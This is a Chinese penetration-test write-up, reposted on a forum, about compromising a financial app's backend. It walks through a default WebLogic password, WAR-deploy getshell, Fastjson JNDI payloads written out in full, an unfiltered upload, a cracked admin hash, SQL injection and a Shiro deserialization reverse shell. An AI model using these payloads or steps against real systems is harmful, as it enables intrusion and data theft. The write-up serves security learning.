搜索

[28569] 2020-09-09_记一次运气爆棚的渗透测试

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-09-09_记一次运气爆棚的渗透测试 记 一 次 运 气 爆 棚 的 渗 透 测 试 r u s s e l l 0 6   O t s 安 全   2 0 2 0 - 0 9 - 0 9 转 先 知 社 区 转 先 知 社 区     作 者 ： 作 者 ： r u s s e l l 0 6 前 言 前 言 某 天 上 午 照 常 被 上 级 拉 到 新 建 的 工 作 群 里 ， 开 始 了 一 天 的 渗 透 测 试 （ 浑 水 摸 鱼 ） 。 不 出 意 外 这 次 的 目 标 还 是 A p p ， 而 且 还 是 金 融 类 的 ， 自 上 个 项 目 遭 受 某 银 行 A p p 的 毒 打 之 后 ， 内 心 就 对 金 融 类 A p p 充 满 了 抵 触 与 恐 惧 ， 当 前 这 次 也 不 例 外 。 怀 揣 着 无 比 失 落 的 心 情 开 始 了 一 天 的 工 作 ， 果 不 其 然 ， 此 A p p 通 信 的 请 求 与 响 应 包 都 经 过 了 加 密 处 理 ， 就 比 如 下 面 这 样 ， 但 一 看 到 端 口 是 7 0 0 2 ， 抱 着 试 试 看 的 心 态 ， 遂 有 此 文 。 W e b l o g i c 弱 口 令 弱 口 令 从 请 求 包 中 看 到 了 7 0 0 2 端 口 ， 感 觉 大 概 率 是 W e b l o g i c ， 访 问 了 一 下 果 然 出 现 了 熟 悉 的 页 面 ， 随 手 输 个 c o n s o l e 就 来 到 了 登 录 页 面 ， 因 为 最 近 爆 的 W e b l o g i c 漏 洞 属 实 有 点 多 ， 自 己 竟 然 没 有 第 一 时 间 去 试 试 弱 口 令 ， 导 致 在 这 个 阶 段 浪 费 了 很 多 不 必 要 的 时 间 ， 尝 试 了 2 5 5 1 、 2 8 8 3 均 没 有 成 功 ， 最 后 询 问 @ Y 4 e r 师 傅 才 明 白 原 来 1 0 . 3 . 6 . 0 版 本 的 那 个 j a r 包 根 本 没 有 用 上 。 就 在 打 算 放 弃 的 时 候 ， w e b l o g i c / w e b l o g i c 1 2 3 诚 不 欺 我 。
G e t s h e l l 都 进 入 W e b l o g i c 后 台 了 ， 直 接 部 署 w a r 包 g e t s h e l l ， 这 儿 就 不 细 说 了 ， 免 得 浪 费 师 傅 们 的 宝 贵 时 间 。 F a s t j s o n 远 程 命 令 执 行 远 程 命 令 执 行 在 W e b l o g i c 管 理 界 面 可 以 看 到 管 理 员 部 署 了 两 个 站 点 ， 在 服 务 器 上 找 到 两 个 站 点 对 应 的 w a r 包 下 载 到 本 地 进 行 查 看 。 首 先 查 看 第 一
个 站 点 的 l i b 目 录 下 引 用 了 哪 些 j a r 包 ， f a s t j s o n 映 入 眼 帘 ， 而 且 还 是 1 . 1 . 3 9 版 本 ， 加 上 找 到 了 开 发 为 了 测 试 网 站 各 个 功 能 点 而 留 下 的 d e b u g 页 面 ， 不 禁 窃 喜 。 开 始 漏 洞 利 用 ， 这 里 使 用 1 . 2 . 4 7 版 本 的 p a y l o a d 并 没 有 打 成 功 1 . 2 . 4 7 { " a " : { " @ t y p e " : " j a v a . l a n g . C l a s s " , " v a l " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " } , " b " : { " @ t y p e " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " , " d a t a S o u r c e N a m e " : " l d a p : / / d n s l o g " , " a u t o C o m m i t " : t r u e } } }
但 是 换 了 1 . 2 . 4 5 版 本 的 p a y l o a d 却 可 以 ， 这 是 我 当 时 没 有 想 明 白 的 地 方 ， 有 知 道 的 师 傅 还 请 不 吝 赐 教 1 . 2 . 4 5 { " @ t y p e " : " o r g . a p a c h e . i b a t i s . d a t a s o u r c e . j n d i . J n d i D a t a S o u r c e F a c t o r y " , " p r o p e r t i e s " : { " d a t a _ s o u r c e " : " l d a p : / / d n s l o g " } } 任 意 文 件 上 传 任 意 文 件 上 传 还 是 第 一 个 站 点 ， 这 儿 大 致 看 了 看 文 件 上 传 的 代 码 ， 看 到 并 没 有 任 何 过 滤 ， 找 到 文 件 上 传 的 方 法 （ / f i l e / u p l o a d . d o ） , 构 造 数 据 包 进 行 上 传
可 以 看 到 确 实 上 传 成 功 了 ， 但 是 没 有 返 回 路 径 ， 再 返 回 源 码 仔 细 一 看 ， 原 来 上 传 的 文 件 被 传 到 临 时 目 录 / t e m p 下 了 ， 空 欢 喜 一 场 后 台 弱 口 令 后 台 弱 口 令 这 里 开 始 看 第 二 个 站 点 ， 在 W e b l o g i c 后 台 管 理 页 面 查 到 该 w a r 包 部 署 的 上 下 文 ， 直 接 访 问 后 是 个 登 录 页 面 ， 此 时 根 据 配 置 文 件 里 数 据 库 的 相 关 信 息 去 连 接 数 据 库 ， 连 上 以 后 发 现 数 据 库 里 的 数 据 都 经 过 了 加 密 处 理 。 无 奈 只 好 继 续 翻 翻 其 他 配 置 文 件 ， 终 于 在 O r a c l e 目 录 下 找 到 一 些 很 久 之 前 的 s q l 文 件 ， 发 现 里 面 数 据 并 不 多 ， 感 觉 是 当 时 作 测 试 用 的
找 到 a d m i n 用 户 去 解 m d 5 ， 结 果 竟 然 是 a d m i n 1 2 3 ， 顿 时 语 塞 S Q L 注 入 注 入 进 入 后 台 后 最 先 看 到 的 就 是 这 个 搜 索 框 ， 出 于 职 业 习 惯 ， 随 手 输 个 单 引 号 试 试 真 是 按 捺 不 住 此 时 激 动 的 心 情 ， 又 可 以 凑 漏 洞 数 了 ， 掏 出 p a y l o a d 直 接 淦 S h i r o 反 序 列 化 命 令 执 行 反 序 列 化 命 令 执 行
接 着 第 二 个 站 点 ， 还 是 老 套 路 ， 点 开 l i b 目 录 看 依 赖 ， 这 次 映 入 眼 帘 的 是 S h i r o ， 同 样 也 是 低 版 本 的 ， 二 话 不 说 找 到 工 具 一 把 梭 ， 很 快 就 跑 到 了 K e y ， 使 用 的 是 默 认 秘 钥 ， 但 是 却 找 不 到 有 效 的 利 用 链 ， 这 是 怎 么 回 事 呢 ？ 再 回 过 头 来 看 源 码 ， 发 现 s h i r o 确 实 是 低 版 本 ， 并 且 K e y 也 可 以 找 到 。 这 时 候 才 看 到 c o m m o n s - b e a n u t i l s 的 版 本 是 1 . 8 . 3 ， 但 是 y s o s e r i a l 里 C o m m o n s B e a n u t i l s 1 所 依 赖 的 c o m m o n s - b e a n u t i l s 版 本 是 1 . 9 . 2 ， 所 以 一 直 打 不 成 功 修 改 y s o s e r i a l 里 c o m m o n s - b e a n u t i l s 的 版 本 为 1 . 8 . 3 并 重 新 打 包 ， 利 用 C o m m o n s B e a n u t i l s 1 成 功 反 弹 s h e l l
后 记 后 记 本 文 并 没 有 太 多 技 术 亮 点 ， 都 是 一 些 基 本 操 作 ， 之 所 以 记 录 下 来 是 因 为 感 觉 在 目 前 这 个 大 环 境 下 ， 能 碰 到 此 类 目 标 实 属 万 幸 。 文 中 措 词 不 当 之 处 还 望 各 位 大 师 傅 们 见 谅 ， 祝 各 位 师 傅 天 天 都 打 这 种 站 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理